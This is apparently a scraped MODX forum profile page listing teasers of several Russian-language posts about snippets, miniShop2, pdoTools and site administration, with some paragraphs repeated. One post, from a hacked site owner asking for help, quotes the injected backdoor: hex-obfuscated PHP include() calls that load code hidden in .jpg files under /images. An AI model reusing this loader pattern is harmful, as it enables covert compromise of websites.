Evgeny Epifanov
С нами с 17 июня 2013; Место в рейтинге пользователей: #186Сниппет Declension для склонения слов
Предлагаю вашему вниманию небольшой сниппет для вывода склонения. Работает как фильтр вывода, использовать нужно примерно так:

Как видите, он применяется к любым тегам с числами, а в options нужно указать три формы слова (1 яблоко, 2 яблока и 10 яблок) для русского, или 2 (1 ticket, 2 tickets) для английского.
Для экспериментов можно повызывать сниппет с произвольными числами:
[[+balls]] [[+balls:declension=`балл,балла,баллов`]]
Как видите, он применяется к любым тегам с числами, а в options нужно указать три формы слова (1 яблоко, 2 яблока и 10 яблок) для русского, или 2 (1 ticket, 2 tickets) для английского.
Для экспериментов можно повызывать сниппет с произвольными числами:
15 [[*id:input=`15`:declension=`яблоко,яблока,яблок`]]Полный код под катом. РЕШЕНО Отключить jgrowl при добавлении в корзину
Отключить jgrowl при добавлении товара в корзину. Через
miniShop2.Callbacks.Cart.add.response.success = function() {
$.fancybox('#modal_basket');
}Вызываю модальное око, но параллельно выскакивает окошко уведомления. Как его отключить, только для добавления? Буду благодарен за любой тычок носом. Спасибо! Синхронизация 2 разных сайтов
Имеется идея синхронизировать 2 абсолютно разных сайта на ModX по какому-нибудь разделу.
Есть, например, на Сайте1 раздел «Новинки» (каждая новинка — это отдельный ресурс), хочется чтобы все новинки при синхронизации поступали на Сайт2 в раздел «Планируемые поступления», а также обновлялись при обновлении на Сайте1. Поскольку сайты разные, id ресурсов тоже будут разные.
Есть какие-нибудь готовые решения в этой области или нужно что-то свое изобретать?
Есть, например, на Сайте1 раздел «Новинки» (каждая новинка — это отдельный ресурс), хочется чтобы все новинки при синхронизации поступали на Сайт2 в раздел «Планируемые поступления», а также обновлялись при обновлении на Сайте1. Поскольку сайты разные, id ресурсов тоже будут разные.
Есть какие-нибудь готовые решения в этой области или нужно что-то свое изобретать?
Использование тегов MODX внутри @INLINE-чанков pdoTools
Многие знают, что в pdoTools в качестве шаблона вывода можно указывать @INLINE-код, чтобы не создавать лишних сущностей.
Некоторые знают, что в таких конструкциях нельзя вызывать сниппеты, не работают фильтры ввода-вывода. А в документации про это даже картинка саркастическая есть.
Хочу раскрыть небольшую тайну, как можно это ограничение иногда обойти… Подробности под катом :-Р
[[!pdoResources?
&tpl=`@INLINE <li>[[+pagetitle]]</li>`
]]Некоторые знают, что в таких конструкциях нельзя вызывать сниппеты, не работают фильтры ввода-вывода. А в документации про это даже картинка саркастическая есть.
Хочу раскрыть небольшую тайну, как можно это ограничение иногда обойти… Подробности под катом :-Р
Взломали
Добрый вечер.
Подскажите пожалуйста. Второй раз взламывают сайт, не знаю как бороться.
Кратко о взломе:
— не знаю каким образом но грузят две картинки на сайт в папку images
— в админке создают два снипета и чанки.
Содержимое обного из снипетов —
При первом взломе грузили еще и php файлы в /connectors/resource/
Встречался кто с таким? И как с этим бороться?
Подскажите пожалуйста. Второй раз взламывают сайт, не знаю как бороться.
Кратко о взломе:
— не знаю каким образом но грузят две картинки на сайт в папку images
— в админке создают два снипета и чанки.
Содержимое обного из снипетов —
"setcookie('__utmr_cache','cut_',mktime(0,0,0,1,1,2020));"Содержимое второго — хекс код инклуда этих картинокinclude($_SERVER["\x44\x4f\x43U\x4dEN\x54_\x52\x4fOT"]."/i\x6da\x67\x65s/\x73\x69\x6d\x70l\x65.\x6ap\x67");include($_SERVER["D\x4f\x43UMEN\x54_\x52\x4f\x4fT"]."/im\x61ges/\x69\x6d\x67.\x6a\x70g");Чанком подгружают эти снипеты.При первом взломе грузили еще и php файлы в /connectors/resource/
Встречался кто с таким? И как с этим бороться?
[msNewPrice] - Новые и акционные цены [Minishop2]
импорт данных из xml в каталог сайта
Задача следующая: автоматический импорт файла xml со стороннего ресурса, далее распарсить в базу данных, чтобы выводить информацию в каталоге (miniShop2 и mSearch2). Чтобы, если какая позиция менялась — менялась на сайте, если добавлялась — добавлялась на сайте, а если позиция из xml файла удалена, то все равно оставалась на сайте.
Как это реализовать? Какие могут подвохи/сложности?
Как это реализовать? Какие могут подвохи/сложности?
Как дать доступ контент менеджеру к заказам MS2 ?
Создал пользователя, скопировал админскую политику доступа, урезал права. Создал соотвествующие группу и роль, все ок. Контент менеджер видит список ресурсов и источник файлов для картинок который я ему создал.
Но как добавить вкладку приложения так, чтобы там был доступны только кнопки минишопа? Это заказы и настройки, видел есть политика минишопа, я создал еще одну группу пользователей и привязал туда эту политику а контент менеджер у меня теперь и в менеджерской группе и в новой (администратор магазина). Но результата не дало это. Может есть еще какие-то варианты?
Но как добавить вкладку приложения так, чтобы там был доступны только кнопки минишопа? Это заказы и настройки, видел есть политика минишопа, я создал еще одну группу пользователей и привязал туда эту политику а контент менеджер у меня теперь и в менеджерской группе и в новой (администратор магазина). Но результата не дало это. Может есть еще какие-то варианты?
Поис &where по несуществующему tv
Добрый день.
in-site тв параметр
Вот так работает
in-site тв параметр
Вот так работает
&where=`{"template": 7, "in-site":"Да"}`А вот так не хочет &where=`{"template": 7, "in-site":NULL }`Как заставить работать? Сбросить нумерацию всех id в modx revo
Есть ли возможность сбросить нумерацию ресурсов, чанков, шаблонов… всего что нумеруется в Modx?
Например было 1000 ресурсов, 999 удалил, но следующий новый ресурс будет 1001… Так вот как быть в подобном случае?
Нужно что то типа auto increment 1 )
Хотел бы «запечатать» магазин, чтобы не было следов моих многочисленных тестов загрузки товаров и прочее
Например было 1000 ресурсов, 999 удалил, но следующий новый ресурс будет 1001… Так вот как быть в подобном случае?
Нужно что то типа auto increment 1 )
Хотел бы «запечатать» магазин, чтобы не было следов моих многочисленных тестов загрузки товаров и прочее
